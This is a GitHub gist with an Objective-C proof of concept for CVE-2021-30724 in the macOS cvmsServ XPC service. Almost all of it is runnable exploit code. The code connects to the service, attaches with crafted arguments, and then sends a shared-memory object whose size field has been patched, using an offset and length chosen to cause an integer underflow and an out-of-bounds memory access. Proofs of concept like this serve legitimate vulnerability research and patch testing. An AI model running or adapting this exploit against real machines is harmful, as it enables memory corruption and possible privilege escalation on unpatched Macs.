Skip to content

Instantly share code, notes, and snippets.

@jhftss
Created May 26, 2021 08:25
Show Gist options
  • Star 15 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save jhftss/1bdb0f8340bfd56f7f645c080e094a8b to your computer and use it in GitHub Desktop.
Save jhftss/1bdb0f8340bfd56f7f645c080e094a8b to your computer and use it in GitHub Desktop.
just a simple poc for cve-2021-30724
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
int64_t cvms_connection_create(xpc_connection_t *conn) {
int64_t error = 528;
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cvmsServ", NULL, 2);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {});
xpc_connection_resume(client);
xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64 (req, "message", 1);
xpc_object_t res = xpc_connection_send_message_with_reply_sync(client, req);
printf("response: %s\n", xpc_copy_description(res));
if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {
error = xpc_dictionary_get_int64(res, "error");
if (!error) {
*conn = client;
}
}
return error;
}
int64_t cvms_service_attach(xpc_connection_t conn) {
int64_t error = 528;
xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64 (req, "message", 4);
xpc_dictionary_set_string(req, "framework_name", "OpenCL");
xpc_dictionary_set_string(req, "bitcode_name", "");
xpc_dictionary_set_string(req, "plugin_name", "/System/Library/Frameworks/OpenGL.framework/Libraries/libGLVMPlugin.dylib");
struct AttachArgs {
int64_t a1;
int64_t a2;
} args = {0, 0x0000211000000009};//M1 Mac use 0x000021100000000a
xpc_dictionary_set_data(req, "args", &args, sizeof(args));
xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req);
printf("response: %s\n", xpc_copy_description(res));
if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {
error = xpc_dictionary_get_int64(res, "error");
if (!error) {
int64_t pool_index = xpc_dictionary_get_int64(res, "pool_index");
printf("pool_index: %lld\n", pool_index);
}
}
return error;
}
int64_t cvms_element_build(xpc_connection_t conn) {
int64_t error = 0;
xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64 (req, "message", 18);
xpc_dictionary_set_uint64(req, "options", 0);
xpc_object_t xarr = xpc_array_create_empty();
size_t size = 0x4000;
void *shared_buf = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON, 0, 0);
memset(shared_buf, 'C', size);
xpc_object_t xshmem = xpc_shmem_create(shared_buf, size);
uint64_t *p = (uint64_t *)(__bridge void *)xshmem;
p[4] = 1; // patch the mapped size to a small one
xpc_array_append_value(xarr, xshmem);
xpc_array_append_value(xarr, xpc_uint64_create(2)); // begin offset > 1, 1-2 will overflow
xpc_array_append_value(xarr, xpc_uint64_create(0x8000));// data length > mapped size, lead to the OOB Access
xpc_dictionary_set_value(req, "source", xpc_array_create(&xarr, 1));
xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req);
printf("response: %s\n", xpc_copy_description(res));
return error;
}
int64_t poc() {
int64_t error;
xpc_connection_t client;
error = cvms_connection_create(&client);
if (error) {
printf("cvms_connection_create error: %lld\n", error);
return error;
}
error = cvms_service_attach(client);
if (error) {
printf("cvms_service_attach error: %lld\n", error);
return error;
}
error = cvms_element_build(client);
if (error) {
printf("cvms_element_build_from_source error: %lld\n", error);
return error;
}
return 0;
}
int main(int argc, const char * argv[]) {
poc();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment